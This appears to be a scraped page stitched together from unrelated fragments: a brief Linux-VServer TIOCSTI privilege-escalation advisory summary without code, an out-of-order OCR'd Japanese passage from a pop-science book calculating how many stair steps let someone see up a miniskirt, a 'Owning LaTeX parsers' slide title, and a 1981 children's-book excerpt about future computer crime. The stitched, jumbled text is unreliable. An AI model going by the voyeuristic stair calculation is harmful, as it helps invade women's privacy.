Got a call

Helpless people need support!

Vserver TIOCSTI ioctl() Privilege Escalation

- ♦ Systems Affected Linux-VServer < 2.3.0.36.24.2
- ♦ Userspace utilities that provide the ability to interactively run programs inside a VServer guest
- ♦ The vulnerability exists thanks to a standard Unix feature those security implications were ignored.
- ♦ Such invocations, like "XXX exec server-name command", do not correctly isolate and restrict sandboxed processes from inserting characters into the file descriptor of the controlling terminal via the TIOCSTI ioctl().

In the meantime...

Google and Verizon are plotting to destroy

空想科学大戦 2

は、1段分短い「 $25 \times (\text{段}-1)$ 」なのだ。
 続いて、問題の $\triangle AEO$ である。
 タツローの目の高さを160cm、スカートの裾の高さを80cmとしよう。
 目の高さが裾の高さを80cm上回っているのだから、裾と目の高低差 AE は階段の高低差 OA より80cm短い。

したがって直角三角形 AEO の底辺と高さは以下の通り。
 高さ $AE = 20 \times (\text{段}-1) - 80$
 底辺 $OA = 25 \times (\text{段}-1)$
 この両者の間に
 $AE/OA = 0.415$
 という関係が成立すればよい。
 表にまとめてみよう。
 AE がマイナスとは、スカートの裾が目より下にあるということになる。4段までは言いつづ

でもなくダメである。5段、6段と差が開いていくとおおつ、その差8段にして、 0.415 の壁を見事に破っている！もちろん差が開けば開くほど、視野は広がる。ただし、その分対象が小さくなることも忘れてはならない。
 断つておくが、この解説はスカート内部の構造を奨励しているわけではない。タツローが行なった計算を説明しただけなのだ。くれぐれも悪用しないように。

段差	1	2	3	4	5	6	7	8
AE	-60	-40	-20	0	20	40	60	80
OA	0	25	50	75	100	125	150	175
比率	*	-1.6	-0.4	0	0.2	0.32	0.4	0.457

89

Kuvaton.com

【図3】

【図1】

スカート内部の状況は「図1」および「図2」の通りだ。観察すべき部分が半径10cmの半球体、スカートが半球体との接点から15cmにわたって視界を遮っていること

解説 階段のミニスカ

ちゅう。【図2】において、直角三角形 OPQ の OP と OQ は等しい。辺 OQ すなわち視線を延長して直角三角形 OPQ を作ろう。その高さを作図で求めて求める。視線の高さは底辺の 0.415 倍である。視線をこれより大きく傾けるのが最低条件だ。

【図2】

88

視線の傾きを決定するのは「図3」の直角三角形 AEO だが、まず直角三角形 OPQ について考える。階段1段の高さを20cm、幅を25cmとすると、2人の足の高低差 OD は「 $20 \times (\text{段}-1)$ 」で表わされる。では、前後距離 OB は「 $25 \times (\text{段}-1)$ 」というふうな、簡単な計算にはいかない。タツローが「ティール女の1段下に立っていた場合、2人の体はほとんど触れ合い、スカートの裾は目の真下に来る。 OB

Owning LaTeX parsers

LaTeX is a great language

Lately we had to write some LaTeX documentation

It was boring...

But we found a way to have fun!

Computer criminals of the future (1981)

Computer criminals

Computers will make the world of tomorrow a much safer place. They will do away with cash, so that you need no longer fear being attacked for your money. In addition, you need not worry that your home will be burgled or your car stolen. The computers in your home and car will guard them, allowing only yourself to enter or someone with your permission.

However, there is one kind of crime which may exist in the future – computer crime. Instead of mugging people in the streets or robbing houses, tomorrow's criminal may try to steal money from banks and other organizations by using a computer. The computer criminal works from home, using his own computer to gain access to the memories of the computers used by the banks and companies. The criminal tries to interfere with the computers in order to get them to transfer money to his computer without the bank or company knowing that it has been robbed.

Computer crime like this in fact exists already. However, it is very difficult to carry out a successful robbery by computer. Many computers have secret codes to prevent anyone but their owners from operating them. As computers are used more and more, it is likely that computer crime will become increasingly difficult to carry out.

Nevertheless, a computer criminal may succeed now and then and the detectives of the future will have to be highly skilled computer operators. There will probably be police computer-fraud squads, specially trained to deal with computer crime. Here you can see a squad arriving at the home of a computer criminal and arresting him as he makes a dash for it. He is clutching a computer cassette that contains details of his computer crimes, and the police will need this as evidence to prove that he is guilty.

School, Work and Play (World of Tomorrow)
Neil Ardley
